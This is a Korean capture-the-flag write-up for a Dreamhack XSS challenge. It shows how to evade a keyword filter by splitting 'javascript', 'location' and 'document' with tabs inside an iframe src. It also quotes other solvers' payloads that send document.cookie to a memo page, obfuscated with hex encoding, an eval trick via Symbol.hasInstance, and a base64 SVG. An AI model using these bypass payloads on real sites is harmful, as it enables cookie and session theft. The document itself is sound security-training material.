https://dreamhack.io/wargame/challenges/434
소스 코드 분석
필터링을 제외한 나머지는 위 링크의 환경과 같으므로 생략한다.
이번 필터링은 script, on, javascript, window, self, this, document, location, (, ), &# 문자가 나오면 “filtered!!!” 문자열을 리턴한다.

풀이
페이로드에 필터 문자열이 하나라도 포함된다면 “filtered!!!” 문자열을 반환하여 공격을 성공시킬 수 없다. 그런데 필터 문자열 중 자바스크립트를 실행한다고 선언하는 문자열들이 포함되어 있으므로 자바스크립트를 실행시킬 방법부터 찾아야 한다.
자바스크립트를 실행시킬 태그들을 아래와 같이 생각했다. 필터링에 걸리지 않고 자바스크립트를 실행시킬 수 있다.
<a href="">
<img src="">
<ifream src="">
<iframe srcdoc="">
그리고 필터링을 우회할 수 있는 페이로드를 준비한다. 나는 탭을 이용해 우회할 수 있는 페이로드를 만들었다. 중간마다 빈 공간은 탭 키로 구분했다.
javasc ript:locatio n.href='/memo?memo='+d ocument.cookie
이제 태그와 페이로드를 조합하여 완성된 페이로드를 만든다. 우선 <iframe srcdoc=””>은 결국 내가 태그를 다시 지정해줘야 하므로 제외시켰다.
<a href="javasc ript:locatio n.href='/memo?memo='+d ocument.cookie">
<img src="javasc ript:locatio n.href='/memo?memo='+d ocument.cookie">
<iframe src="javasc ript:locatio n.href='/memo?memo='+d ocument.cookie">
그리고 img 태그의 src는 브라우저 보안 정책 상 자바스크립트를 실행하지 않고 무시한다. 또한 a 태그는 링크를 클릭해야 실행하지만 웹 봇이 이를 클릭하지 않아 실행할 수 없다. 그러므로 사용 가능한 페이로드는 한 개만 남는다.
<iframe src="javasc ript:locatio n.href='/memo?memo='+d ocument.cookie">
이제 페이로드를 /flag 페이지에서 전송하면 웹 봇이 읽고 /memo 페이지에 flag를 남길 것이다.


이 밖에도 다른 분들의 풀이를 보고 확인한 페이로드
<iframe src="javas cript:'\x66\x65\x74\x63\x68\x28\x27\x2f\x6d\x65\x6d\x6f\x3f\x6d\x65\x6d\x6f\x3d\x27\x2b\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x63\x6f\x6f\x6b\x69\x65\x29'instanceof{[Symbol.hasInstance]:eval}">
<svg><use href="data:image/svg+xml;base64,PHN2ZyBpZD0neCcgeG1sbnM9J2h0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnJyB4bWxuczp4bGluaz0naHR0cDovL3d3dy53My5vcmcvMTk5OS94bGluaycgd2lkdGg9JzEwMCcgaGVpZ2h0PScxMDAnPgo8aW1hZ2UgaHJlZj0iMSIgb25lcnJvcj0ibG9jYXRpb24uaHJlZj0nL21lbW8/bWVtbz0nK2RvY3VtZW50LmNvb2tpZSIgLz4KPC9zdmc+#x" /></svg>
<iframe src="javascrip t:fetch('http://127.0.0.1:8000/memo?memo='+docum ent.cookie)"></iframe>